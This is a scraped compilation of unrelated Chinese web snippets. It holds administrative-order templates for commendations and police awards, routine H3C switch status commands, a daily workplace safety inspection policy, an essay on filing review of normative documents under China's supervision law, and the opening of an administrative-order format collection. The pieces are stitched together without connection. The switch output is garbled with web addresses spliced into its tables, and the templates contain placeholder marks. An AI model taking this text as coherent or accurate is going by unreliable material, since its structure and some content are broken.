行政命令范文 大家知道行政命令怎么写吗?下文小雅为大家收集了关于最新的行政命令范文,希望对大家有所帮助! 行政命令范文一 各市,县人民政府: xxxx年x月x日,在????的紧急关头,请输入姓名同志不顾个人安危,奋力抢救????,表现出舍己救人的高尚品质。为了表彰他的先进事迹,特通令嘉奖。 一、决定授予同志嘉奖奖章和奖励证书,以及????,从批准之日起执行。 二、由县政府召开大会颁发奖章和证书,并号召广大干部、工人、农民、学生学习他的高贵品质,为建设社会主义的伟大事业贡献力量! ???? 省人民政府 行政命令范文二 近期以来,全局民警紧密围绕公安重点工作、中心工作,立足岗位奋勇拼搏,在侦查破案、服务群众、规范执法,稳妥快速处理突发性事件以及细致做好警卫安保等各项工作中取得了明显成效,保持了社会治安的稳定,推进了公安工作和队伍建设的发展,得到了党委政府和上级公安机关的称赞,赢得了群众对公安

工作的信任和支持。工作中,涌现出一批锐意进取、无私奉献的先进典型。 为表彰先进、鼓舞士气,根据《公安机关人民警察奖励条令》的有关规定,特命令: 一、给予在公安工作中成绩突出的7名个人各嘉奖一次,颁发证书和奖金。 xxxxxxxxxxxx。 二、给予在执法工作中列本序列季度排名第一的3名案件主办人各嘉奖一次,颁发证书和奖金; xxxxxxx。 此令。 局长:xxx 政委:xxx xxx3年9月10日 行政命令范文三 市局机关各处室、直属各单位: xxx3年5月,省公安厅纪委、政治部、xx公安文联联合举办了全省公安系统廉政文化建设书画作品征集活动,全省共有19人分别获得书法、美术类一、二、三等奖及优秀奖,获奖作品于xxx3年12月11日在省公安厅机关展出。我市万年县公安局xx、弋阳县公安局xxx、信州分局xx、横峰县公安局xxx创作的一批主题鲜明、内容丰富、艺术性强、展示我市公安廉政文化建设成

C常用命令

日常维护环境及单板硬件状态观测 显示当前环境的温度信息 [H3C]disenvironment SystemTemperatureinformation(degreecentigrade): ---------------------------------------------------- SlotNoTemperatureLowerlimitUpperlimit 130055 930055 displaydevice命令参考 [H3C]disdevice Slot1 SubSNoPortNumPCBVerFPGAVerCPLDVerBootRomVerAddrLMTypeState

https://www.sodocs.net/doc/7e10402237.html,ULL002506IVLMAINNormal 20REV.ANULLNULLNULLIVL2*10GENormal Slot9 SubSNoPortNumPCBVerFPGAVerCPLDVerBootRomVerAddrLMTypeState https://www.sodocs.net/doc/7e10402237.html,ULL002508IVLMAINNormal 10REV.ANULLNULLNULLIVL2*10GENormal displaypower命令参考 查看系统电源模块使用状态: [H3C]dispower Slot1 Power1 State:Normal Type:AC Slot9 Power1 State:Normal Type:AC displaypower命令显示信息描述表 displayfan 查看风扇状态: [H3C]disfan Slot1 FAN1 State:Normal Slot9 FAN1 State:Normal 注:系统中有多个风扇,只要有一个风扇故障则报Fault. CPU及内存状态观测

日常安全检查制度

日常安全检查制度 1. 目的 为贯彻落实国家有关安全技术标准和规程,认真检查并及时发现和消除设备设施、作业环境、人员操作等方面的隐患,从而避免工伤事故的发生,保护职工的健康、安全,特制定本制度。 2. 适用范围 适用于安全部。 3.职责 3.1 部门经理 3.1.1负责组织并制定本部门日常安全检查制度 3.1.2负责日常安全检查制度的实施。 3.2 部门副经理 负责协助部门经理组织本部门日常安全检查的管理工作。 3.3 安全员 3.3.1 负责起草本部门日常安全检查制度。 3.3.2 负责组本部门日常安全检查制度的实施。 3.4相关部门 3.4.1相关部门应积极配合安全保卫部,实现安全生产目标。 4.运作程序 4.1 检查内容 4.1.1查思想:对安全生产的认识,责任心;忽视安全的思想有否克服,出了事故是否从思想上认真吸取教训。

4.1.2 查管理:是否正确处理安全与生产的关系;坚持安全和生产“五同时”,员工的安全教育执行情况,落实整改措施等。 4.1.3 查制度:查公司制定的各项制度执行情况,有无违章指挥、违章作业现象。 4.1.4 查生产工艺和员工操作:各工艺数据是否在规定范围内,各操作是否按操作规程进行,操作原始记录是否如实记录。 4.1.5 查设备:仓库、通道、安全装置、消防器材等安全状况是否良好,消防通道是否畅通。 4.1.6查个人防护用品:员工劳保用品穿戴、保管是否良好。 4.1.7查整改措施的落实情况:查现场各安全隐患是否按整改措施落实。 4.1.8其它:按规定对人的不安全形为、物的不安全状态、环境不良状况和管理上缺陷进行治理和整改。 4.2 检查依据 安全员应依据国家有关安全生产法律法规和标准规范,以及本公司安全生产目标、安全规章制度和操作规程,制定和完善各类安全检查表,明确各类安全检查的目的、范围和方法,作为安全检查的依据。 4.3 检查方法及要求 4.3.1 本部人所有人员每天两次不定时深入一线,按相关规定及工作标准,进行现场安全检查,发现问题及时处置。 4.3.2 对于人的不安全行为当场发现应及时制止,并作出相应记录当事人需在记录本上签字。

关于规范性文件备案审查的几点思考(精)

关于规范性文件备案审查的几点思考 监督法实施以来,规范性文件备案审查工作在各地逐步开展起来,无锡市人大常委会也将这项工作纳入日程。从目前各地工作实际看,规范性文件备案审查工作总体还处于起步和探索阶段。下面,结合无锡市的实际情况和各地的实践经验,对规范性文件备案审查的制度形成、重要意义和实施中存在的问题作一些初步探讨。 一、规范性文件备案审查制度的确立、发展与基本形成 对规范性文件进行备案审查,是宪法和法律赋予各级人大常委会的一项重要监督职权,是维护社会主义法制统一的一项重要制度。应当指出的是,这一制度并非监督法新设定的一项制度,其从最初确立到完善形成,大体经历了三个阶段。一是初步确立阶段。宪法第一百零四条规定,县级以上地方各级人大常委会可以撤销本级人民政府不适当的决议、命令,以及下一级人大不适当的决议。这是宪法基于国家职权所进行的分工,是宪法对地方人大常委会作出的制度安排。这一规定赋予了地方人大常委会审查规范性文件的权力,是地方人大常委会对规范性文件进行审查的宪法依据。 二是逐步发展阶段。在宪法规定的基础上,地方组织法和立法法对规范性文件备案审查制度进行了补充和完善。地方组织法进一步扩大了规范性文件审查的范围。第四十四条规定,县级以上地方各级人大常委会可以撤销本级人民政府不适当的决议、命令,以及下一级人大及其常委会不适当的决议。立法法则对备案审查制度作了专门规定,使备案审查制度更为明确具体,并取得了重要突破。第八十九条规定,地方政府规章应当报同级人大常委会备案。第九十二条明确授权接受备案的机关可以对规章等规范性文件的审查程序进行规定。正是第九十二条的规定,使得规范性文件备案审查制度从原有的形式性审查范围中脱离出来,从而真正具备了实质性审查的意义。无锡市也正是根据立法法的规定,专门制定了有关政府规章备案审查的规定,逐步将规章备案审查工作开展起来。 三是基本形成阶段。2006年的监督法设专章对规范性文件备案审查作了全面规范,这是在立法法已有的立法监督的基础上,在新形势下对法律监督制度的进一步完善和深化。监督法正式将规范性文件备案审查作为七种监督方式之一,以法律形式固定下来,同时还将规范性文件备案审查的范围进一步扩大,并授权省级人大常委会对地方人大常委会审查、撤销规范性文件作出具体规定。根据监督法的要求,各地省级人大常委会均制定了有关规范性文件备案审查的规定,并积极推动这项工作在本地区全面开展。因此,可以说监督法的出台,标志着地方人大常委会规范性文件备案审查制度正式形成。

2020年行政公文命令格式文档8篇

2020年行政公文命令格式文档8篇Order format document of administrative documents in 2020 编订:JinTai College

2020年行政公文命令格式文档8篇 前言:公文是法定机关与组织在公务活动中,按照特定的体式、经过一定的处理程序形成和使用的书面材料,命令是国家行政机关及其领导人发布的指挥性和强制性的公文。本文档根据公文命令内容要求和特点展开说明,具有实践指导意义,便于学习和使用,本文下载后内容可随意调整修改及打印。 本文简要目录如下:【下载该文档后使用Word打开,按住键盘Ctrl键且鼠标单击目录内容即可跳转到对应篇章】 1、篇章1:20xx年行政公文命令格式文档 2、篇章2:20xx年行政公文命令格式文档 3、篇章3:20xx年行政公文命令格式文档 4、篇章4:20xx年行政公文命令格式标准文档 5、篇章5:行政公文命令五种写作要求文档 6、篇章6:行政公文命令模板文档 7、篇章7:行政公文命令模板文档 8、篇章8:行政公文命令模板文档

命令(令)在诸文种中权威性最强,有关下级机关单位、个人必须无条件、不折不扣地执行。命令的语言要求严峻、精炼。下文是20xx年最新行政公文命令格式,欢迎阅读! 篇章1:20xx年行政公文命令格式文档 我校高20xx届1班黄xx、6班姚xx两位同学在成都七中东方闻道网校20xx—20xx学年度上期期末考试中分别取得全网校文科总分第六名和理科总分第四十六名的优异成绩,获得网校颁发的荣誉证书。 为此,学校对两位同学所取得的成绩给予通报表扬,希望全校同学向他们学习,刻苦钻研,勤奋学习,能够在新学期取得更加优异的成绩。 xxx中学 20xx年x月6日 篇章2:20xx年行政公文命令格式文档【按住Ctrl键点此返回目录】 **县人民政府森林防火戒严令 第1号

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